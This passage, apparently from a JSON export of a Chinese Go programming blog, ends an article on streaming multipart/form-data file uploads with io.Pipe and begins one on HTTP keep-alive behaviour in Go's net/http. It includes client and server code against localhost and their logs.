req.Header.Add(\u0026quot;Content-Type\u0026quot;, contType) client := \u0026amp;http.Client{} log.Printf(\u0026quot;upload %s...\\n\u0026quot;, filePath) resp, err := client.Do(req) if err != nil { fmt.Println(\u0026quot;request send error:\u0026quot;, err) return err } resp.Body.Close() log.Printf(\u0026quot;upload %s ok\\n\u0026quot;, filePath) return nil } 在这个方案中，我们通过io.Pipe函数创建了一个读写管道，其写端作为io.Writer实例传给multipart.NewWriter，读端返回给调用者，用于构建http request时使用。io.Pipe基于channel实现，其内部不维护任何内存缓存：\n// $GOROOT/src/io/pipe.go func Pipe() (*PipeReader, *PipeWriter) { p := \u0026amp;pipe{ wrCh: make(chan []byte), rdCh: make(chan int), done: make(chan struct{}), } return \u0026amp;PipeReader{p}, \u0026amp;PipeWriter{p} } 通过Pipe返回的读端读取管道中数据时，如果尚未有数据写入管道，那么读端会像读取channel那样阻塞在那里。由于http request在被发送时(client.Do(req))才会真正基于构建req时传入的reader对Body数据进行读取，因此client会阻塞在对管道的read上。显然我们不能将读写两端的操作放在一个goroutine中，那样会因所有goroutine都挂起而导致panic。在上面的client3.go代码中，函数createReqBody内部创建了一个新goroutine，将真正构建multipart/form-data body的工作放在了新goroutine中。新goroutine最终会将待上传文件的数据通过管道写端写入管道：\ncnt, _ := io.Copy(fw1, f) 而这些数据也会被client读取并通过网络连接传输出去。io.Copy的实现如下：\n// $GOROOT/src/io/io.go func Copy(dst Writer, src Reader) (written int64, err error) { return copyBuffer(dst, src, nil) } io.copyBuffer内部维护了一个默认32k的小buffer，它每次从src尝试最大读取32k的数据，并写入到dst中，直到读完为止。这样无论待上传的文件有多大，我们实际上每次上传所分配的内存仅有32k。\n下面就是我们用client3.go上传一个大小为252M的文件的日志：\n$go run client3.go -file /Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf 2021/01/10 12:56:45 createReqBody ok 2021/01/10 12:56:45 upload /Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf... 2021/01/10 12:56:46 copy 264517032 bytes from file ICME-2019-Tutorial-final.pdf in total 2021/01/10 12:56:46 upload /Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf ok upload file [/Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf] ok $go run file_server1.go http request: http.Request{Method:\u0026quot;POST\u0026quot;, URL:(*url.URL)(0xc000078200), Proto:\u0026quot;HTTP/1.1\u0026quot;, ProtoMajor:1, ProtoMinor:1, Header:http.Header{\u0026quot;Accept-Encoding\u0026quot;:[]string{\u0026quot;gzip\u0026quot;}, \u0026quot;Content-Type\u0026quot;:[]string{\u0026quot;multipart/form-data; boundary=4470ba3867218f1130878713da88b5bd79f33dfbed65566e4fd76a1ae58d\u0026quot;}, \u0026quot;User-Agent\u0026quot;:[]string{\u0026quot;Go-http-client/1.1\u0026quot;}}, Body:(*http.body)(0xc000026240), GetBody:(func() (io.ReadCloser, error))(nil), ContentLength:-1, TransferEncoding:[]string{\u0026quot;chunked\u0026quot;}, Close:false, Host:\u0026quot;localhost:8080\u0026quot;, Form:url.Values{\u0026quot;age\u0026quot;:[]string{\u0026quot;15\u0026quot;}, \u0026quot;name\u0026quot;:[]string{\u0026quot;Tony Bai\u0026quot;}}, PostForm:url.Values{\u0026quot;age\u0026quot;:[]string{\u0026quot;15\u0026quot;}, \u0026quot;name\u0026quot;:[]string{\u0026quot;Tony Bai\u0026quot;}}, MultipartForm:(*multipart.Form)(0xc0000122a0), Trailer:http.Header(nil), RemoteAddr:\u0026quot;[::1]:54899\u0026quot;, RequestURI:\u0026quot;/upload\u0026quot;, TLS:(*tls.ConnectionState)(nil), Cancel:(\u0026lt;-chan struct {})(nil), Response:(*http.Response)(nil), ctx:(*context.cancelCtx)(0xc000026280)} the uploaded file: name[ICME-2019-Tutorial-final.pdf], size[264517032], header[textproto.MIMEHeader{\u0026quot;Content-Disposition\u0026quot;:[]string{\u0026quot;form-data; name=\\\u0026quot;file1\\\u0026quot;; filename=\\\u0026quot;ICME-2019-Tutorial-final.pdf\\\u0026quot;\u0026quot;}, \u0026quot;Content-Type\u0026quot;:[]string{\u0026quot;application/pdf\u0026quot;}}] file ICME-2019-Tutorial-final.pdf uploaded ok $ls -l upload -rw-r--r-- 1 tonybai staff 264517032 1 14 12:56 ICME-2019-Tutorial-final.pdf 如果你觉得32k仍然很大，每次上传要使用更小的buffer，你可以用io.CopyBuffer替代io.Copy：\n// github.com/bigwhite/experiments/multipart-formdata/client/client4.go func createReqBody(filePath string) (string, io.Reader, error) { var err error pr, pw := io.Pipe() bw := multipart.NewWriter(pw) // body writer f, err := os.Open(filePath) if err != nil { return \u0026quot;\u0026quot;, nil, err } go func() { defer f.Close() // text part1 p1w, _ := bw.CreateFormField(\u0026quot;name\u0026quot;) p1w.Write([]byte(\u0026quot;Tony Bai\u0026quot;)) // text part2 p2w, _ := bw.CreateFormField(\u0026quot;age\u0026quot;) p2w.Write([]byte(\u0026quot;15\u0026quot;)) // file part1 _, fileName := filepath.Split(filePath) h := make(textproto.MIMEHeader) h.Set(\u0026quot;Content-Disposition\u0026quot;, fmt.Sprintf(`form-data; name=\u0026quot;%s\u0026quot;; filename=\u0026quot;%s\u0026quot;`, escapeQuotes(\u0026quot;file1\u0026quot;), escapeQuotes(fileName))) h.Set(\u0026quot;Content-Type\u0026quot;, \u0026quot;application/pdf\u0026quot;) fw1, _ := bw.CreatePart(h) var buf = make([]byte, 1024) cnt, _ := io.CopyBuffer(fw1, f, buf) log.Printf(\u0026quot;copy %d bytes from file %s in total\\n\u0026quot;, cnt, fileName) bw.Close() //write the tail boundry pw.Close() }() return bw.FormDataContentType(), pr, nil } 运行这个client4：\n$go run client4.go -file /Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf 2021/01/10 13:39:06 createReqBody ok 2021/01/10 13:39:06 upload /Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf... 2021/01/10 13:39:09 copy 264517032 bytes from file ICME-2019-Tutorial-final.pdf in total 2021/01/10 13:39:09 upload /Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf ok upload file [/Users/tonybai/Downloads/ICME-2019-Tutorial-final.pdf] ok 你会看到虽然上传成功了，但由于每次read仅能读1k数据，对于大文件来说，其上传的时间消耗增加了不少。\n6. 下载文件 客户端基于multipart/form-data下载文件的过程的原理与上面的file_server1接收客户端上传文件的原理是一样的，这里就将这个功能的Go实现作为“作业”留给各位读者了:)。\n7. 参考资料 Form-based File Upload in HTML Returning Values from Forms: multipart/form-data 《Go Web Programming》 Hypertext Transfer Protocol (HTTP/1.1): Range Requests 本文中涉及的源码可以在这里(https://github.com/bigwhite/experiments/tree/master/multipart-formdata)下载。\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/01/16/upload-and-download-file-using-multipart-form-over-http/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/upload-and-download-file-using-multipart-form-over-http-0.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"1-form简介\"\u003e1. Form简介\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://www.w3.org/TR/html401/interact/forms.html\"\u003e\u003cstrong\u003eForm\u003c/strong\u003e(中文译为表单)\u003c/a\u003e，是HTML标记语言中的重要语法元素。一个Form不仅包含正常的文本内容、标记等，还包含被称为控件的特殊元素。用户通常通过修改控件（比如：输入文本、选择菜单项等）来“完成”表单，然后将表单数据以HTTP Get或Post请求的形式提交（submit）给Web服务器。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e很多初学者总是混淆HTML和HTTP。其实，http通常作为html传输的承载体，打个比方，html就像乘客，http就像出租车，将乘客从一个地方运输到另外一个地方。但显然http这辆出租车可不仅仅只拉html这一个乘客，很多格式均可作为http这辆出租车的乘客，比如json(over http)、xml(over http)。\u003c/p\u003e","title":"使用multipart/form-data实现文件的上传与下载"},{"content":"\nHTTP是如今互联网的基础协议，承载了互联网上的绝大部分应用层流量，并且从目前趋势来看，在未来10年，http仍然会是互联网应用的主要协议。Go语言自带“电池”，基于Go标准库我们可以轻松建立起一个http server处理客户端http请求，或创建一个http client向服务端发送http请求。\n最初早期的http 1.0协议只支持短连接，即客户端每发送一个请求，就要和服务器端建立一个新TCP连接，请求处理完毕后，该连接将被拆除。显然每次tcp连接握手和拆除都将带来较大损耗，为了能充分利用已建立的连接，后来的http 1.0更新版和http 1.1支持在http请求头中加入Connection: keep-alive来告诉对方这个请求响应完成后不要关闭链接，下一次还要复用这个连接以继续传输后续请求和响应。后HTTP协议规范明确规定了HTTP/1.0版本如果想要保持长连接，需要在请求头中加上Connection: keep-alive，而HTTP/1.1版本将支持keep-alive长连接作为默认选项，有没有这个请求头都可以。\n本文我们就来一起看看Go标准库中net/http包的http.Server和http.Client对keep-alive长连接的处理以及如何在Server和Client侧关闭keep-alive机制。\n1. http包默认启用keep-alive 按照HTTP/1.1的规范，Go http包的http server和client的实现默认将所有连接视为长连接，无论这些连接上的初始请求是否带有Connection: keep-alive。\n下面分别是使用go http包的默认机制实现的一个http client和一个http server：\n默认开启keep-alive的http client实现：\n//github.com/bigwhite/experiments/http-keep-alive/client-keepalive-on/client.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;io/ioutil\u0026quot; \u0026quot;net/http\u0026quot; ) func main() { c := \u0026amp;http.Client{} req, err := http.NewRequest(\u0026quot;Get\u0026quot;, \u0026quot;http://localhost:8080\u0026quot;, nil) if err != nil { panic(err) } fmt.Printf(\u0026quot;%#v\\n\u0026quot;, *req) for i := 0; i \u0026lt; 5; i++ { resp, err := c.Do(req) if err != nil { fmt.Println(\u0026quot;http get error:\u0026quot;, err) return } defer resp.Body.Close() b, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(\u0026quot;read body error:\u0026quot;, err) return } fmt.Println(\u0026quot;response body:\u0026quot;, string(b)) } } 默认开启keep-alive的http server实现：\n//github.com/bigwhite/experiments/http-keep-alive/server-keepalive-on/server.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;net/http\u0026quot; ) func Index(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;receive a request from:\u0026quot;, r.RemoteAddr, r.Header) w.Write([]byte(\u0026quot;ok\u0026quot;)) } func main() { var s = http.Server{ Addr: \u0026quot;:8080\u0026quot;, Handler: http.HandlerFunc(Index), } s.ListenAndServe() } 现在我们启动上面的http server：\n// server-keepalive-on目录下 $go run server.go 我们使用上面的client向该server发起5次http请求：\n// client-keepalive-on目录下 $go run client.go http.Request{Method:\u0026quot;Get\u0026quot;, URL:(*url.URL)(0xc00016a000), Proto:\u0026quot;HTTP/1.1\u0026quot;, ProtoMajor:1, ProtoMinor:1, Header:http.Header{}, Body:io.ReadCloser(nil), GetBody:(func() (io.ReadCloser, error))(nil), ContentLength:0, TransferEncoding:[]string(nil), Close:false, Host:\u0026quot;localhost:8080\u0026quot;, Form:url.Values(nil), PostForm:url.Values(nil), MultipartForm:(*multipart.Form)(nil), Trailer:http.Header(nil), RemoteAddr:\u0026quot;\u0026quot;, RequestURI:\u0026quot;\u0026quot;, TLS:(*tls.ConnectionState)(nil), Cancel:(\u0026lt;-chan struct {})(nil), Response:(*http.Response)(nil), ctx:(*context.emptyCtx)(0xc00012c008)} response body: ok response body: ok response body: ok response body: ok response body: ok 这期间server端输出的日志如下：\nreceive a request from: [::1]:55238 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:55238 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:55238 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:55238 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:55238 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 我们简单分析一下两端的输出结果：\n从server端打印的请求的头部字段来看，客户端发来的请求header中并没有显式包含Connection: keep-alive，而仅有Accept-Encoding和User-Agent两个header字段； server端处理的5个请求均来自同一个连接“[::1]:55238”，Server端默认保持了该连接，而不是在处理完一个请求后将连接关闭，说明两端均复用了第一个请求创建的http连接。 即便我们的client端每间隔5秒发送一次请求，server端默认也不会关闭连接(我们将fmt包缓冲log包，输出带有时间戳的日志)：\n// client-keepalive-on目录下 $go run client-with-delay.go http.Request{Method:\u0026quot;Get\u0026quot;, URL:(*url.URL)(0xc00016a000), Proto:\u0026quot;HTTP/1.1\u0026quot;, ProtoMajor:1, ProtoMinor:1, Header:http.Header{}, Body:io.ReadCloser(nil), GetBody:(func() (io.ReadCloser, error))(nil), ContentLength:0, TransferEncoding:[]string(nil), Close:false, Host:\u0026quot;localhost:8080\u0026quot;, Form:url.Values(nil), PostForm:url.Values(nil), MultipartForm:(*multipart.Form)(nil), Trailer:http.Header(nil), RemoteAddr:\u0026quot;\u0026quot;, RequestURI:\u0026quot;\u0026quot;, TLS:(*tls.ConnectionState)(nil), Cancel:(\u0026lt;-chan struct {})(nil), Response:(*http.Response)(nil), ctx:(*context.emptyCtx)(0xc00012c008)} 2021/01/03 12:25:21 response body: ok 2021/01/03 12:25:26 response body: ok 2021/01/03 12:25:31 response body: ok 2021/01/03 12:25:36 response body: ok 2021/01/03 12:25:41 response body: ok // server-keepalive-on目录下 $go run server.go 2021/01/03 12:25:21 receive a request from: [::1]:58419 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:25:26 receive a request from: [::1]:58419 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:25:31 receive a request from: [::1]:58419 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:25:36 receive a request from: [::1]:58419 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:25:41 receive a request from: [::1]:58419 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2. http client端基于非keep-alive连接发送请求 有时候http client在一条连接上的数据请求密度并不高，因此client端并不想长期保持这条连接(占用端口资源)，那么client端如何协调Server端在处理完请求返回应答后就关闭这条连接呢？我们看看在Go中如何实现这一场景需求：\n//github.com/bigwhite/experiments/http-keep-alive/client-keepalive-off/client.go ... ... func main() { tr := \u0026amp;http.Transport{ DisableKeepAlives: true, } c := \u0026amp;http.Client{ Transport: tr, } req, err := http.NewRequest(\u0026quot;Get\u0026quot;, \u0026quot;http://localhost:8080\u0026quot;, nil) if err != nil { panic(err) } for i := 0; i \u0026lt; 5; i++ { resp, err := c.Do(req) if err != nil { fmt.Println(\u0026quot;http get error:\u0026quot;, err) return } defer resp.Body.Close() b, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(\u0026quot;read body error:\u0026quot;, err) return } log.Println(\u0026quot;response body:\u0026quot;, string(b)) time.Sleep(5 * time.Second) } } http.Client底层的数据连接建立和维护是由http.Transport实现的，http.Transport结构有一个DisableKeepAlives字段，其默认值为false，即启动keep-alive。这里我们将其置为true，即关闭keep-alive，然后将该Transport实例作为初值，赋值给http Client实例的Transport字段。\n接下来，我们使用这个client向上面那个http server发送五个请求，请求间间隔5秒(模拟连接空闲的状态)，我们得到如下结果(从server端打印信息观察)：\n// 在client-keepalive-off下面 $go run client.go 2021/01/03 12:42:38 response body: ok 2021/01/03 12:42:43 response body: ok 2021/01/03 12:42:48 response body: ok 2021/01/03 12:42:53 response body: ok 2021/01/03 12:42:58 response body: ok // 在server-keepalive-on下面 $go run server.go 2021/01/03 12:42:38 receive a request from: [::1]:62287 map[Accept-Encoding:[gzip] Connection:[close] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:42:43 receive a request from: [::1]:62301 map[Accept-Encoding:[gzip] Connection:[close] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:42:48 receive a request from: [::1]:62314 map[Accept-Encoding:[gzip] Connection:[close] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:42:53 receive a request from: [::1]:62328 map[Accept-Encoding:[gzip] Connection:[close] User-Agent:[Go-http-client/1.1]] 2021/01/03 12:42:58 receive a request from: [::1]:62342 map[Accept-Encoding:[gzip] Connection:[close] User-Agent:[Go-http-client/1.1]] 从Server的输出结果来看，来自客户端的请求中增加了**Connection:[close]**的头字段，当收到这样的请求后，Server端便不再保持这一连接了。我们也看到上面日志中，每个请求都是通过不同的客户端端口发送出来的，显然这是五条不同的连接。\n3. 建立一个不支持keep-alive连接的http server 假设我们有这样的一个需求，server端完全不支持keep-alive的连接，无论client端发送的请求header中是否显式带有Connection: keep-alive，server端都会在返回应答后关闭连接。那么在Go中，我们如何来实现这一需求呢？我们来看下面代码：\n//github.com/bigwhite/experiments/http-keep-alive/server-keepalive-off/server.go package main import ( \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; ) func Index(w http.ResponseWriter, r *http.Request) { log.Println(\u0026quot;receive a request from:\u0026quot;, r.RemoteAddr, r.Header) w.Write([]byte(\u0026quot;ok\u0026quot;)) } func main() { var s = http.Server{ Addr: \u0026quot;:8080\u0026quot;, Handler: http.HandlerFunc(Index), } s.SetKeepAlivesEnabled(false) s.ListenAndServe() } 我们看到在ListenAndServe前，我们调用了http.Server的SetKeepAlivesEnabled方法，并传入false参数，这样我们就在全局层面关闭了该Server对keep-alive连接的支持，我们用前面client-keepalive-on下面的client向该Server发送五个请求：\n// 在client-keepalive-on下面 $go run client.go http.Request{Method:\u0026quot;Get\u0026quot;, URL:(*url.URL)(0xc000174000), Proto:\u0026quot;HTTP/1.1\u0026quot;, ProtoMajor:1, ProtoMinor:1, Header:http.Header{}, Body:io.ReadCloser(nil), GetBody:(func() (io.ReadCloser, error))(nil), ContentLength:0, TransferEncoding:[]string(nil), Close:false, Host:\u0026quot;localhost:8080\u0026quot;, Form:url.Values(nil), PostForm:url.Values(nil), MultipartForm:(*multipart.Form)(nil), Trailer:http.Header(nil), RemoteAddr:\u0026quot;\u0026quot;, RequestURI:\u0026quot;\u0026quot;, TLS:(*tls.ConnectionState)(nil), Cancel:(\u0026lt;-chan struct {})(nil), Response:(*http.Response)(nil), ctx:(*context.emptyCtx)(0xc00013a008)} 2021/01/03 13:30:08 response body: ok 2021/01/03 13:30:08 response body: ok 2021/01/03 13:30:08 response body: ok 2021/01/03 13:30:08 response body: ok 2021/01/03 13:30:08 response body: ok // 在server-keepalive-off下面 $go run server.go 2021/01/03 13:30:08 receive a request from: [::1]:53005 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 13:30:08 receive a request from: [::1]:53006 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 13:30:08 receive a request from: [::1]:53007 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 13:30:08 receive a request from: [::1]:53008 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 13:30:08 receive a request from: [::1]:53009 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 我们看到该Server在处理完每个请求后就关闭了传输该请求的连接，这导致client测不得不为每个请求建立一个新连接(从server输出的客户端地址和端口看出)。\n4. 支持长连接闲置超时关闭的http server 显然上面的server处理方式“太过霸道”，对于想要复用连接，提高请求和应答传输效率的client而言，上面的“一刀切”机制并不合理。那么是否有一种机制可以让http server即可以对高密度传输数据的连接保持keep-alive，又可以及时清理掉那些长时间没有数据传输的idle连接，释放占用的系统资源呢？我们来看下面这个go实现的server：\n//github.com/bigwhite/experiments/http-keep-alive/server-keepalive-with-idletimeout/server.go package main import ( \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;time\u0026quot; ) func Index(w http.ResponseWriter, r *http.Request) { log.Println(\u0026quot;receive a request from:\u0026quot;, r.RemoteAddr, r.Header) w.Write([]byte(\u0026quot;ok\u0026quot;)) } func main() { var s = http.Server{ Addr: \u0026quot;:8080\u0026quot;, Handler: http.HandlerFunc(Index), IdleTimeout: 5 * time.Second, } s.ListenAndServe() } 从代码中我们看到，我们仅在创建http.Server实例时显式为其字段IdleTimeout做了一次显式赋值，设置idle连接的超时时间为5s。下面是Go标准库中关于http.Server的字段IdleTimeout的注释：\n// $GOROOT/src/net/server.go // IdleTimeout是当启用keep-alive时等待下一个请求的最大时间。 // 如果IdleTimeout为零，则使用ReadTimeout的值。如果两者都是 // 零，则没有超时。 IdleTimeout time.Duration 我们来看看效果如何，是否是我们期望那样的。为了测试效果，我们改造了client端，放在client-keepalive-on-with-idle下面：\n//github.com/bigwhite/experiments/http-keep-alive/client-keepalive-on-with-idle/client.go ... ... func main() { c := \u0026amp;http.Client{} req, err := http.NewRequest(\u0026quot;Get\u0026quot;, \u0026quot;http://localhost:8080\u0026quot;, nil) if err != nil { panic(err) } for i := 0; i \u0026lt; 5; i++ { log.Printf(\u0026quot;round %d begin:\\n\u0026quot;, i+1) for j := 0; j \u0026lt; i+1; j++ { resp, err := c.Do(req) if err != nil { fmt.Println(\u0026quot;http get error:\u0026quot;, err) return } defer resp.Body.Close() b, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(\u0026quot;read body error:\u0026quot;, err) return } log.Println(\u0026quot;response body:\u0026quot;, string(b)) } log.Printf(\u0026quot;round %d end\\n\u0026quot;, i+1) time.Sleep(7 * time.Second) } } client端请求分为5轮，轮与轮之间间隔7秒，下面是通信过程与结果：\n// 在client-keepalive-on-with-idle下 $go run client.go 2021/01/03 14:17:05 round 1 begin: 2021/01/03 14:17:05 response body: ok 2021/01/03 14:17:05 round 1 end 2021/01/03 14:17:12 round 2 begin: 2021/01/03 14:17:12 response body: ok 2021/01/03 14:17:12 response body: ok 2021/01/03 14:17:12 round 2 end 2021/01/03 14:17:19 round 3 begin: 2021/01/03 14:17:19 response body: ok 2021/01/03 14:17:19 response body: ok 2021/01/03 14:17:19 response body: ok 2021/01/03 14:17:19 round 3 end 2021/01/03 14:17:26 round 4 begin: 2021/01/03 14:17:26 response body: ok 2021/01/03 14:17:26 response body: ok 2021/01/03 14:17:26 response body: ok 2021/01/03 14:17:26 response body: ok 2021/01/03 14:17:26 round 4 end 2021/01/03 14:17:33 round 5 begin: 2021/01/03 14:17:33 response body: ok 2021/01/03 14:17:33 response body: ok 2021/01/03 14:17:33 response body: ok 2021/01/03 14:17:33 response body: ok 2021/01/03 14:17:33 response body: ok 2021/01/03 14:17:33 round 5 end // 在server-keepalive-with-idletimeout下 $go run server.go 2021/01/03 14:17:05 receive a request from: [::1]:64071 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:12 receive a request from: [::1]:64145 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:12 receive a request from: [::1]:64145 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:19 receive a request from: [::1]:64189 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:19 receive a request from: [::1]:64189 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:19 receive a request from: [::1]:64189 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:26 receive a request from: [::1]:64250 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:26 receive a request from: [::1]:64250 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:26 receive a request from: [::1]:64250 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:26 receive a request from: [::1]:64250 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:33 receive a request from: [::1]:64304 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:33 receive a request from: [::1]:64304 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:33 receive a request from: [::1]:64304 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:33 receive a request from: [::1]:64304 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:17:33 receive a request from: [::1]:64304 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 我们看到：\n- 在每轮内，client端的所有请求都是复用已建立的连接；\n- 但每轮之间，由于Sleep了7秒，超出了server端idletimeout的时长，上一轮的连接被拆除，新一轮只能重建连接。\n我们期望的效果实现了！\n5. 一个http client可管理到多个server的连接 Go标准库的http.Client与一个server可不是一对一的关系，它可以实现一对多的http通信，也就是说一个http client可管理到多个server的连接，并优先复用到同一server的连接(keep-alive)，而不是建立新连接，就像我们上面看到的那样。我们来创建一个向多个server发送请求的client：\n//github.com/bigwhite/experiments/http-keep-alive/client-keepalive-on-to-multiple-servers/client.go ... ... func main() { c := \u0026amp;http.Client{} req1, err := http.NewRequest(\u0026quot;Get\u0026quot;, \u0026quot;http://localhost:8080\u0026quot;, nil) if err != nil { panic(err) } req2, err := http.NewRequest(\u0026quot;Get\u0026quot;, \u0026quot;http://localhost:8081\u0026quot;, nil) if err != nil { panic(err) } for i := 0; i \u0026lt; 5; i++ { resp1, err := c.Do(req1) if err != nil { fmt.Println(\u0026quot;http get error:\u0026quot;, err) return } defer resp1.Body.Close() b1, err := ioutil.ReadAll(resp1.Body) if err != nil { fmt.Println(\u0026quot;read body error:\u0026quot;, err) return } log.Println(\u0026quot;response1 body:\u0026quot;, string(b1)) resp2, err := c.Do(req2) if err != nil { fmt.Println(\u0026quot;http get error:\u0026quot;, err) return } defer resp2.Body.Close() b2, err := ioutil.ReadAll(resp2.Body) if err != nil { fmt.Println(\u0026quot;read body error:\u0026quot;, err) return } log.Println(\u0026quot;response2 body:\u0026quot;, string(b2)) time.Sleep(5 * time.Second) } } 我们建立两个默认的http server，分别监听8080和8081，运行上面client：\n$go run client.go 2021/01/03 14:52:20 response1 body: ok 2021/01/03 14:52:20 response2 body: ok 2021/01/03 14:52:25 response1 body: ok 2021/01/03 14:52:25 response2 body: ok 2021/01/03 14:52:30 response1 body: ok 2021/01/03 14:52:30 response2 body: ok 2021/01/03 14:52:35 response1 body: ok 2021/01/03 14:52:35 response2 body: ok 2021/01/03 14:52:40 response1 body: ok 2021/01/03 14:52:40 response2 body: ok server端的输出结果如下：\n// server1(8080): 2021/01/03 14:52:20 receive a request from: [::1]:63871 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:25 receive a request from: [::1]:63871 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:30 receive a request from: [::1]:63871 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:35 receive a request from: [::1]:63871 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:40 receive a request from: [::1]:63871 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] // server2(8081): 2021/01/03 14:52:20 receive a request from: [::1]:63872 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:25 receive a request from: [::1]:63872 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:30 receive a request from: [::1]:63872 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:35 receive a request from: [::1]:63872 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 2021/01/03 14:52:40 receive a request from: [::1]:63872 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] 